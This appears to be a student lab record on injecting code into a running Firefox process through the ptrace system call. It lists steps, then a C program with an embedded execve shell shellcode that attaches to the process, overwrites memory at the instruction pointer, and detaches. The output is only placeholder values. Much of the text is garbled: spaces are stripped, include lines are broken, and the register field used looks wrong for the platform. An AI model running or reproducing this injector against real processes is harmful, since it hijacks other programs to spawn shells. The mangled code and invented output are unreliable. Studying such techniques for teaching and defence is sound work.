EXPNO:8 **DATE:**

PROCESSCODEINJECTION

Aim: TodoprocesscodeinjectiononFirefoxusingptracesystemcall

Algorithm:

- Step1:FindoutthePIDoftherunningFirefoxprogram.
- Step2:Createthecodeinjectionfile.
- Step3:GetthePIDofFirefoxfromthecommandlinearguments.
- Step4:Allocatememorybuffersfortheshellcode.
- Step5:AttachtothevictimprocesswithPTRACE_ATTACH.
- Step6:Gettheregistervaluesoftheattachedprocess.
- Step7:UsePTRACE_POKETEXTtoinserttheshellcode.
- Step8:DetachfromthevictimprocessusingPTRACE_DETACH.

Program:

```
#  include  <stdio.h>
# include <stdlib.h>
# include <string.h>
#include<unistd.h>
# include
<sys/wait.h>#include<s
ys/ptrace.h> # include
<sys/user.h>

char shellcode[] = {
   "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
   "\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
};

voidheader(){
   printf("----Memorybytecodeinjector\n");
}
```

```
intmain(intargc,char**argv)
{     int i, size, pid = 0;     struct
user_regs_struct reg;     char*
buff;

    header();     pid =
atoi(argv[1]);     size =
sizeof(shellcode);     buff=
(char*)malloc(size);
memset(buff, 0x0, size);
    memcpy(buff,shellcode,sizeof(shellcode));

    ptrace(PTRACE_ATTACH,pid,0,0);
    wait((int*)0);

    ptrace(PTRACE_GETREGS, pid, 0, &reg);
    printf("WritingEIP0x%x,process%d\n",reg.eip,pid);

    for(i =0;i<size;i++){
        ptrace(PTRACE_POKETEXT,pid,reg.eip+i,*(int*)(buff+i));
    }

    ptrace(PTRACE_DETACH,pid,0,0);
    free(buff);
return0;
}
```

Output:

```
----Memorybytecodeinjector
WritingEIP0x12345678,process12345
```

Result: